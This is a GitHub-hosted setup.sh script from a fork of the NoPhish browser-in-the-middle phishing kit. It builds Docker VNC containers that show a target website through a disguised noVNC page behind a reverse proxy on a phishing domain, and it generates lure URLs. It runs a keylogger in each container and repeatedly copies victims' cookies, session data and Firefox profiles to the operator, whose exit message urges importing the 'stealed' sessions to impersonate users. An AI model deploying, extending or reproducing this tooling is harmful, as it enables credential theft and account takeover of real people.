forked from powerseb/NoPhish
-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathsetup.sh
More file actions
executable file
·681 lines (559 loc) · 24.7 KB
/
Copy pathsetup.sh
File metadata and controls
executable file
·681 lines (559 loc) · 24.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
#!/bin/bash
#
# [ Globals ]
#
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'
PROFILE_COPY_INTERVAL=5
APACHEFILE="./proxy/000-default.conf"
# [ Cool banner ]
cat << EOF
__ __ __
.--.--.-----.-----.-----| |--|__.-----| |--.
| | | -__|__ --| _ | | |__ --| |
|___ |_____|_____| __|__|__|__|_____|__|__|
|_____| |__|
EOF
#
# [ Argument Parsing ]
#
helpFunction() {
echo ""
echo "Usage: $0 -u No. Users -d Domain -t Target"
echo -e "\t -u Number of users - please note for every user a container is spawned so don't go crazy"
echo -e "\t -d Domain which is used for phishing"
echo -e "\t -t Target website which should be displayed for the user"
echo -e "\t -e Export format"
echo -e "\t -s true / false if ssl is required - if ssl is set pem and key file are needed"
echo -e "\t -c Full path to the pem file of the ssl certificate"
echo -e "\t -k Full path to the key file of the ssl certificate"
echo -e "\t -a Adjust default user agent string"
echo -e "\t -z Compress profile to zip - will be ignored if parameter -e is set"
echo -e "\t -r true / false to turn on the redirection to the target page"
echo -e "\t -x true / false to turn on the remote debugging port in all browsers"
echo -e "\t -l Preferred language codes for the browser (such as en,es,pt,pt-BR)"
echo -e "\t -m Enable mobile mode (spawns 2 containers for each user)"
exit 1 # Exit script after printing help
}
checkPrereqs() {
error_found=0
if ! command -v python3 &>/dev/null; then
echo "${RED}[-] Error: Python3 is not installed.${NC}"
error_found=1
fi
if command -v python3 &>/dev/null; then
if ! python3 -c "import lz4" &>/dev/null; then
echo "${RED}[-] Error: Python module 'lz4' is not installed."
error_found=1
fi
fi
if ! command -v docker &>/dev/null; then
echo "${RED}[-] Error: Docker is not installed.${NC}"
error_found=1
fi
if ! command -v zip &>/dev/null; then
echo -e "${RED}[-] Error: zip is not installed.${NC}"
error_found=1
fi
if [ "$error_found" -ne 0 ]; then
echo -e "${RED}[-] One or more required tools are missing. Exiting.${NC}"
exit 1
fi
}
while getopts "u:d:t:s:c:k:e:a:z:p:r:x:l:m:" opt
do
case "$opt" in
u ) User="$OPTARG" ;;
d ) Domain="$OPTARG" ;;
t ) Target="$OPTARG" ;;
e ) OFormat="$OPTARG" ;;
s ) SSL="$OPTARG" ;;
c ) cert="$OPTARG" ;;
k ) key="$OPTARG" ;;
a ) useragent=$OPTARG ;;
z ) rzip=$OPTARG ;;
p ) param=$OPTARG ;;
r ) Redirect=$OPTARG ;;
x ) DebugPort=$OPTARG ;;
l ) AcceptLang=$OPTARG ;;
m ) EnableMobile=$OPTARG ;;
? ) helpFunction ;; # Print helpFunction in case parameter is non-existent
esac
done
checkPrereqs
# Begin script in case all parameters are correct and the prerequisites are present
# Loop for every user a docker container need to be started
# Write of default config for apache
#
# [ Modules ]
#
declare -A builds=(
["vnc-docker"]="VNC-Dockerfile"
["mvnc-docker"]="MVNC-Dockerfile"
["rev-proxy"]="PROXY-Dockerfile"
)
build_docker_images() {
for tag in "${!builds[@]}"; do
dockerfile=${builds[$tag]}
echo -e "${YELLOW}[~] Building image '${tag}' from '${dockerfile}'...${NC}"
if sudo docker build -t "$tag" -f "./$dockerfile" ./; then
echo -e "${GREEN}[+] Successfully built '${tag}' image.${NC}"
else
echo -e "${RED}[-] Failed to build '${tag}' from '${dockerfile}'.${NC}" >&2
return 1
fi
done
}
clean_docker_images() {
echo -e "${YELLOW}[~] Stopping and removing VNC and reverse proxy containers...${NC}"
vnc_containers=$(sudo docker ps --filter=name="vnc-*" -q)
proxy_containers=$(sudo docker ps --filter=name="rev-proxy" -q)
if [[ -n "$vnc_containers" ]]; then
if sudo docker rm -f $vnc_containers; then
echo -e "${GREEN}[+] Removed vnc-* containers.${NC}"
else
echo -e "${RED}[-] Failed to remove vnc-* containers.${NC}" >&2
return 1
fi
fi
if [[ -n "$proxy_containers" ]]; then
if sudo docker rm -f $proxy_containers; then
echo -e "${GREEN}[-] Removed rev-proxy container(s).${NC}"
else
echo -e "${RED}[-] Failed to remove rev-proxy container(s).${NC}" >&2
return 1
fi
fi
while true; do
read -p "$(echo -e "Do you want to perform a full cleanup? [y/n] ")" yn
case $yn in
[Yy]* )
echo -e "${YELLOW}[~] Removing related Docker images...${NC}"
for img in "${!builds[@]}"; do
img_ids=$(sudo docker images --filter=reference="$img" -q)
if [[ -n "$img_ids" ]]; then
if sudo docker rmi -f $img_ids; then
echo -e "${GREEN}[+] Removed image: $img${NC}"
else
echo -e "${RED}[-] Failed to remove image: $img${NC}" >&2
return 1
fi
fi
done
break;;
[Nn]* )
echo -e "${YELLOW}[~] Skipping image removal.${NC}"
break;;
* )
echo -e "${RED}[-] Please answer y or n.${NC}";;
esac
done
}
copy_profile() {
# User ID
local x=$1
shift
local mobile=$2
shift
# URLs
local urls=("$@")
pushd ./output &> /dev/null
if [ $mobile = "true" ]; then
DATA_CONT=mvnc-user$x
NAME_USER=muser$x
NAME_PROF=mphis$x
else
DATA_CONT=vnc-user$x
NAME_USER=user$x
NAME_PROF=phis$x
fi
# Copy browser data into a central folder
# and copy keylogger results to host
sudo docker exec $DATA_CONT sh -c "find -name recovery.jsonlz4 -exec cp {} /home/headless/ \;"
sudo docker exec $DATA_CONT sh -c "find -name cookies.sqlite -exec cp {} /home/headless/ \;"
sudo docker exec $DATA_CONT test -e /home/headless/Keylog.txt && sudo docker cp $DATA_CONT:/home/headless/Keylog.txt ./$NAME_USER-keylog.txt
#sleep 2
# Copy browser data from the central folder
# to the host
sudo docker cp $DATA_CONT:/home/headless/recovery.jsonlz4 ./$NAME_USER-recovery.jsonlz4
sudo docker cp $DATA_CONT:/home/headless/cookies.sqlite ./$NAME_USER-cookies.sqlite
sudo docker exec $DATA_CONT sh -c "rm -f /home/headless/recovery.jsonlz4"
sudo docker exec $DATA_CONT sh -c "rm -f /home/headless/cookies.sqlite"
sleep 2
if [ -n "$OFormat" ]; then
FormatArg=simple
else
FormatArg=default
sudo docker exec $DATA_CONT sh -c 'cp -rf .mozilla/firefox/$(find -name recovery.jsonlz4 | cut -d "/" -f 4)/ ffprofile'
sudo docker cp $DATA_CONT:/home/headless/ffprofile ./$NAME_PROF-ffprofile
sudo docker exec $DATA_CONT sh -c "rm -rf /home/headless/ffprofile"
sudo chown -R 1000 ./$NAME_PROF-ffprofile
if [ "$rzip" = "true" ]; then
zip -r $NAME_PROF-ffprofile.zip $NAME_PROF-ffprofile/ &> /dev/null
rm -r $NAME_PROF-ffprofile/
fi
fi
popd &> /dev/null
python3 ./scripts/session-collector.py ./$NAME_USER-recovery.jsonlz4 $FormatArg
python3 ./scripts/cookies-collector.py ./$NAME_USER-cookies.sqlite $FormatArg
pushd ./output &> /dev/null
rm -f user$x-recovery.jsonlz4 \
user$x-cookies.sqlite user$x-cookies.sqlite* \
muser$x-recovery.jsonlz4 muser$x-cookies.sqlite muser$x-cookies.sqlite*
popd &> /dev/null
python3 ./scripts/status.py $x "${urls[$(($x - 1))]}"
}
#
# [ Main logic ]
#
case "$1" in
"install")
build_docker_images
;;
"cleanup")
clean_docker_images
;;
*)
# Print helpFunction in case parameters are empty
if [ -z "$User" ] || [ -z "$Domain" ] || [ -z "$Target" ]; then
echo "Some or all of the parameters are empty";
helpFunction
fi
if [ -z "$rzip" ]; then
rzip=true
fi
if [ -n "$SSL" ]; then
if [ -z "$cert" ] || [ -z "$key" ]; then
echo "Some or all of the parameters are empty";
helpFunction
elif [ ! -f "$cert" ] || [ ! -f "$key" ]; then
echo "Certificate and / or Key file could not be found."
exit 1
fi
fi
START=1
if [ "$EnableMobile" = "true" ]; then
END=$((User * 2))
else
END=$User
fi
temptitle=$(curl $Target -sL -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' | grep -oP '(?<=title).*(?<=title>)' | grep -oP '(?=>).*(?=<)')
pagetitle="${temptitle:1}"
# Fetch the favicon for the target page
curl https://www.google.com/s2/favicons?domain=$Target -sL --output novnc.ico
icopath="./novnc.ico"
if [ -n "$SSL" ]; then
schema=https
proxyport=443
else
schema=http
proxyport=80
fi
echo -e "${YELLOW}[~] Generating configuration file${NC}"
echo 'NameVirtualHost *
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 12 Jan 1980 05:00:00 GMT"
' > $APACHEFILE
echo "<VirtualHost *:$proxyport>" >> $APACHEFILE
# Set up SSL cert / key
if [ -n "$SSL" ]; then
echo "
SSLEngine on
SSLProxyEngine on
SSLCertificateFile /etc/ssl/certs/server.pem
SSLCertificateKeyFile /etc/ssl/private/server.key
" >> $APACHEFILE
fi
echo '
RewriteEngine On
RewriteMap redirects txt:/tmp/redirects.txt
RewriteCond ${redirects:%{REQUEST_URI}} ^(.+)$
RewriteRule ^(.*)$ ${redirects:$1} [R,L]
<Location /status.php>
Deny from all
</Location>
' >> $APACHEFILE
echo -e "${GREEN}[+] Configuration file generated${NC}"
htmlpath="./output/status.php"
if [ -e $htmlpath ]; then
rm -rf $htmlpath
fi
cat templates/status.header.php > ./output/status.php
# Start with a basic template for user preferences, then
# fill them with needed values for each case
# and upload to each container
cat templates/user.header.js > vnc/muser.js;
cat templates/user.header.js > vnc/user.js;
echo "" >> vnc/muser.js;
echo "" >> vnc/user.js;
if [ -n "$AcceptLang" ]; then
echo 'user_pref("intl.accept_languages", "'$AcceptLang'");' >> ./vnc/muser.js
echo 'user_pref("intl.accept_languages", "'$AcceptLang'");' >> ./vnc/user.js
fi
if [ -n "$useragent" ]; then
# Custom UA, mobile (don't override)
echo 'user_pref("general.useragent.override","Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/114.1 Mobile/15E148 Safari/605.1.15");' >> ./vnc/muser.js
# Custom UA, desktop (override)
echo 'user_pref("general.useragent.override","'$useragent'");' >> ./vnc/user.js
else
# No custom UA, mobile
echo 'user_pref("general.useragent.override","Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/114.1 Mobile/15E148 Safari/605.1.15");' >> ./vnc/muser.js
echo 'user_pref("layout.css.devPixelsPerPx", "0.9");' >> ./vnc/muser.js
# No custom UA, desktop
echo 'user_pref("general.useragent.override","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0");' >> ./vnc/user.js
fi
mobile=false
declare -a urls=()
echo -e "${YELLOW}[-] Starting containers${NC}"
for (( c=$START; c<=$END; c++ )); do
if [ "$mobile" = "true" ]; then
VNC_IMG=mvnc-docker;
VNC_CONT=mvnc-user$c;
PREF_FILE='./vnc/muser.js';
else
VNC_IMG=vnc-docker;
VNC_CONT=vnc-user$c;
PREF_FILE='./vnc/user.js';
fi
echo -e "${BLUE}———— ${VNC_CONT} (from image ${VNC_IMG}) [$c/$END] ————${NC}";
PW=$(openssl rand -hex 14)
AdminPW=$(tr -dc 'A-Za-z0-9!' < /dev/urandom | head -c 32)
Token=$(cat /proc/sys/kernel/random/uuid)
# Start up the corresponding VNC container
# and then firefox a single time (just to set up the profile?)
echo -e "${YELLOW}[+] Starting VNC container${NC}"
if [ "$DebugPort" = "true" ]; then
DEBUGPORT_HOST=9$(printf "%03d" $c)
sudo docker run -dit -p $DEBUGPORT_HOST:9223 --name $VNC_CONT -e VNC_PW=$PW -e NOVNC_HEARTBEAT=30 $VNC_IMG &> /dev/null
# Socat is needed since the remote debugging port listens on localhost in the container
sudo docker exec -dit $VNC_CONT sh -c 'socat TCP-LISTEN:9223,fork TCP:127.0.0.1:9222'
echo -e "${GREEN}[+] RemoteDebuggingPort: $DEBUGPORT_HOST${NC}"
else
sudo docker run -dit --name $VNC_CONT -e VNC_PW=$PW -e NOVNC_HEARTBEAT=30 $VNC_IMG &> /dev/null
fi
echo -e "${GREEN}[+] VNC container started${NC}"
echo -e "${YELLOW}[+] Setting up firefox profile...${NC}"
sleep 3
sudo docker exec $VNC_CONT sh -c "firefox &" &> /dev/null
sleep 1
sudo docker exec $VNC_CONT sh -c "pidof firefox | xargs kill &" &> /dev/null
sleep 2
sudo docker cp $PREF_FILE $VNC_CONT:/home/headless/user.js
#sleep 1;
sudo docker exec $VNC_CONT sh -c "find -name cookies.sqlite -exec dirname {} \; | xargs -I {} cp -f -r /home/headless/user.js {}"
echo -e "${GREEN}[+] Profile setup completed.${NC}"
sleep 1
if [ -n "$pagetitle" ]; then
sudo docker exec --user root $VNC_CONT sh -c "sed -i 's/Connecting.../$pagetitle/' /usr/libexec/noVNCdim/conn.html"
sudo docker exec --user root $VNC_CONT sh -c "sed -i 's/Connecting.../$pagetitle/' /usr/libexec/noVNCdim/app/ui.js"
if [ "$mobile" = "true" ]; then
sudo docker exec --user root $VNC_CONT sh -c "sed -i 's/min-width: 8em;/\/\*min-width: 8em;\*\//' /usr/libexec/noVNCdim/app/styles/input.css"
fi
fi
if [ -e $icopath ]; then
sudo docker cp ./novnc.ico $VNC_CONT:/usr/libexec/noVNCdim/app/images/icons/novnc.ico
fi
# Replace TARGET_URL placeholder with actual target inside vnc/ui.js
if [ -n "$Redirect" ]; then
RedirectTarget=$Target
sudo docker exec --user root $VNC_CONT sh -c "sed -i 's/TARGET_URL/${Target//\//\\/}/g' /usr/libexec/noVNCdim/app/ui.js"
else
RedirectTarget="/"
sudo docker exec --user root $VNC_CONT sh -c "sed -i 's/TARGET_URL/'$schema':\/\/$Domain/g' /usr/libexec/noVNCdim/app/ui.js"
fi
# Important sleep!
sleep 6;
# Keylogger
echo -e "${YELLOW}[~] Starting keylogger...${NC}"
sudo docker exec -dit $VNC_CONT sh -c "python3 /home/headless/logger.py"
echo -e "${GREEN}[+] Keylogger started${NC}"
if [ "$DebugPort" = "true" ]; then
FIREFOX_SPAWN_CMD="xrandr --output VNC-0 & env DISPLAY=:1 firefox $Target --remote-debugging-port=9222 --kiosk &"
else
FIREFOX_SPAWN_CMD="xrandr --output VNC-0 & env DISPLAY=:1 firefox $Target --kiosk &"
fi
if [ "$mobile" = "true" ]; then
sudo docker exec $VNC_CONT sh -c "nohup unclutter -idle 0 > /dev/null 2>&1 &"
else
sudo docker exec $VNC_CONT sh -c "xfconf-query --channel xsettings --property /Gtk/CursorThemeName --set WinCursor &"
fi
echo -e "${YELLOW}[~] Starting browser...${NC}"
sudo docker exec $VNC_CONT sh -c "$FIREFOX_SPAWN_CMD" &> /dev/null
if [ $? -eq 0 ]; then
echo -e "${GREEN}[+] Browser started:${NC}\n$FIREFOX_SPAWN_CMD"
else
echo -e "${RED}[+] Error starting the browser${NC}"
fi
CIP=$(sudo docker container inspect $VNC_CONT | grep -m 1 -oP '"IPAddress":\s*"\K[^"]+')
if [ "$mobile" = "true" ]; then
filename="miframe$((c - 1)).html"
else
filename="iframe$c.html"
fi
awk '{
gsub("%schema%", "'$schema'");
gsub("%PW%", "'$PW'");
gsub("%domain%", "'$Domain'");
gsub("%pagetitle%", "'"$pagetitle"'");
print
}' templates/proxy.html > ./proxy/$filename
if [ "$mobile" = "false" ]; then
echo "
RewriteCond %{REQUEST_URI} /v$c
RewriteCond %{HTTP_USER_AGENT} \"iPhone|Android|iPad\"
RewriteRule ^/(.*) /miframe$c.html [P,L]
RewriteCond %{REQUEST_URI} /v$c
RewriteCond %{HTTP_USER_AGENT} !(iPhone|Android|iPad)
RewriteRule ^/(.*) /iframe$c.html [P]
" >> $APACHEFILE
fi
echo "
<Location /$PW>
ProxyPass http://$CIP:6901
ProxyPassReverse http://$CIP:6901
</Location>
<Location /$PW/websockify>
ProxyPass ws://$CIP:6901/websockify keepalive=On
ProxyPassReverse ws://$CIP:6901/websockify
</Location>
ProxyTimeout 600
Timeout 600
" >> $APACHEFILE
if [ -n "$SSL" ]; then
echo "
<div class='iframe-wrapper'>
<iframe class='custom-iframe' src='https://$Domain/$PW/conn.html?path=/$PW/websockify&password=$PW&autoconnect=true&resize=remote&view_only=true' sandbox='allow-same-origin allow-scripts'></iframe>
<!-- Form for file creation -->
<form method='post'>
<!-- Buttons inside the wrapper -->
<div class='iframe-buttons'>
<a class='iframe-button' href='https://$Domain/$PW/conn.html?path=/$PW/websockify&password=$PW&autoconnect=true&resize=remote&view_only=true' target='_blank' > View </a>
<input type='hidden' name='file_content' value='/$PW/websockify $RedirectTarget'>
<input type='hidden' name='file_content2' value='/$PW/conn.html $RedirectTarget'>
<input type='hidden' name='ip_value' value='$CIP'>
<button type='submit' name='create_file' class='iframe-button'>Disconnect</button>
<a class='iframe-button' href='https://$Domain:65534/angler/$PW/conn.html?path=/angler/$PW/websockify&password=$PW&autoconnect=true&resize=remote' target='_blank'>Connect</a>
</div>
</form>
</div>" >> ./output/status.php
else
echo "
<div class='iframe-wrapper'>
<iframe class='custom-iframe' src='http://$Domain/$PW/conn.html?path=/$PW/websockify&password=$PW&autoconnect=true&resize=remote&view_only=true' sandbox='allow-same-origin allow-scripts'></iframe>
<!-- Form for file creation -->
<form method='post'>
<!-- Buttons inside the wrapper -->
<div class='iframe-buttons'>
<a class='iframe-button' href='http://$Domain/$PW/conn.html?path=/$PW/websockify&password=$PW&autoconnect=true&resize=remote&view_only=true' target='_blank' > View </a>
<input type='hidden' name='file_content' value='/$PW/websockify $RedirectTarget'>
<input type='hidden' name='file_content2' value='/$PW/conn.html $RedirectTarget'>
<input type='hidden' name='ip_value' value='$CIP'>
<button type='submit' name='create_file' class='iframe-button'>Disconnect</button>
<a class='iframe-button' href='http://$Domain:65534/angler/$PW/conn.html?path=/angler/$PW/websockify&password=$PW&autoconnect=true&resize=remote' target='_blank'>Connect</a>
</div>
</form>
</div>" >> ./output/status.php
fi
if [ "$mobile" = "false" ]; then
if [ -n "$param" ]; then
urls+=("$schema://$Domain/v$c/$param")
else
urls+=("$schema://$Domain/v$c/oauth2/authorize?access-token=$Token")
fi
fi
if [ "$EnableMobile" = "true" ]; then
# Only toggle mobile flag between iterations if
# EnableMobile is set to true
if [ "$mobile" = "true" ]; then
mobile=false
else
mobile=true
fi
fi
done
echo "
</div>
</body>
</html>
" >> ./output/status.php
echo "</VirtualHost>" >> $APACHEFILE
awk '/<VirtualHost/,/<\/VirtualHost/ {gsub(":'$proxyport'", ":65534");gsub("Location /","Location /angler/");print; if (/<\/VirtualHost/) print ""}' "$APACHEFILE" > temp.txt
awk '/<VirtualHost/,/<\/VirtualHost/ {gsub("Location /angler/status.php","Location /");gsub("Deny from all","AuthType Basic \n AuthName \"Restricted Area\" \n AuthUserFile /etc/apache2/.htpasswd \n Require valid-user");print; if (/<\/VirtualHost/) print ""}' "temp.txt" > temp2.txt
cat temp2.txt >> $APACHEFILE
rm -f ./temp.txt ./temp2.txt
echo -e "${BLUE}————————————————————————————————————————————————${NC}"
echo -e "${GREEN}[+] All VNC containers started${NC}"
echo -e "${YELLOW}[~] Starting reverse proxy${NC}"
# Start of rev proxy
sudo docker run -dit -p$proxyport:$proxyport -p65534:65534 --name rev-proxy rev-proxy /bin/bash &> /dev/null
sleep 5
if [ -n "$SSL" ]; then
sudo docker cp $cert rev-proxy:/etc/ssl/certs/server.pem
sudo docker cp $key rev-proxy:/etc/ssl/private/server.key
fi
sudo docker exec rev-proxy /bin/bash -c 'echo "Listen 65534" >> /etc/apache2/ports.conf'
sudo docker exec -it rev-proxy /bin/bash -c "htpasswd -cb /etc/apache2/.htpasswd angler $AdminPW"
sudo docker cp $APACHEFILE rev-proxy:/etc/apache2/sites-enabled/ &> /dev/null
sudo docker cp ./novnc.ico rev-proxy:/var/www/html/favicon.ico
for (( d=$START; d<=$User; d++ )); do
sudo docker cp ./proxy/iframe$d.html rev-proxy:/var/www/html/
if [ "$EnableMobile" = "true" ]; then
sudo docker cp ./proxy/miframe$d.html rev-proxy:/var/www/html/
fi
done
sudo docker exec rev-proxy sed -i 's/MaxKeepAliveRequests 100/MaxKeepAliveRequests 0/' '/etc/apache2/apache2.conf'
sudo docker exec rev-proxy /bin/bash service apache2 restart &> /dev/null
sudo docker exec rev-proxy /bin/bash -c "cron"
sleep 3
sudo docker exec rev-proxy /bin/bash -c "crontab"
sudo docker cp ./output/status.php rev-proxy:/var/www/html/
rm -f ./novnc.ico
echo -e "${GREEN}[+] Reverse proxy started${NC}"
echo -n "[+] Admin interface available under: "
if [ -n "$SSL" ]; then
echo -e "${BLUE}https://$Domain:65534/status.php${NC}"
else
echo -e "${BLUE}http://$Domain:65534/status.php${NC}"
fi
echo -e " +----------------------------------------------+"
echo -e " | Username | ${BLUE}angler${NC} |"
echo -e " | Password | ${BLUE}$AdminPW${NC} |"
echo -e " +----------------------------------------------+"
echo -e "${GREEN}[+] Setup completed${NC}"
echo -e "[+] Use the following URLs:"
for value in "${urls[@]}"; do
echo -e " ${BLUE}$value${NC}"
done
dbpath="./output/phis.db"
if [ -e $dbpath ]; then
rm -f $dbpath
echo -e "${GREEN}[+] Cleared existing ./output/phis.db...${NC}"
fi
echo -e "[~] Starting Loop to collect sessions and cookies from containers${NC}"
echo -e " You can check and view the open session by use of the status.php in the output directory${NC}"
# Start a loop which copies the cookies from the containers
echo -e " Every $PROFILE_COPY_INTERVAL Seconds Cookies and Sessions are exported - Press [CTRL+C] to stop.."
trap 'echo -e "\n[~] Import stealed session and cookie JSON or the firefox profile to impersonate user"; echo -e "[~] VNC and Rev-Proxy container will be removed" ; sleep 2 ; sudo docker rm -f $(sudo docker ps --filter=name="vnc-*" -q) &> /dev/null && sudo docker rm -f $(sudo docker ps --filter=name="rev-proxy" -q) &> /dev/null & printf "[+] Done!"; sleep 2' SIGTERM EXIT
sleep $PROFILE_COPY_INTERVAL
> logs/copy_profile.log
while :; do
mobile=false
for (( c=$START; c<=$END; c++ )); do
copy_profile $c $mobile $urls >> logs/copy_profile.log 2>&1
if [ "$EnableMobile" = "true" ]; then
if [ "$mobile" = "true" ]; then
mobile="false"
else
mobile="true"
fi
fi
done
sleep $PROFILE_COPY_INTERVAL
done
;;
esac